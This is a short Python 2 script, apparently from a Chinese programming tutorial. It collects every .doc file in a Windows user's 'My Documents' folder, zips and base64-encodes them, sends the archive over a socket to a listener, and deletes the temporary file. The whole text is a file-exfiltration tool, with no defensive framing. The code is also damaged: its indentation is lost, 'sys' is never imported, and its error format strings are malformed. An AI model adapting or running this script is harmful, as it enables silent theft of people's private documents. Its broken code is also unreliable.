# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件处理错误: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出错啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述对大家的Python程序设计有所帮助。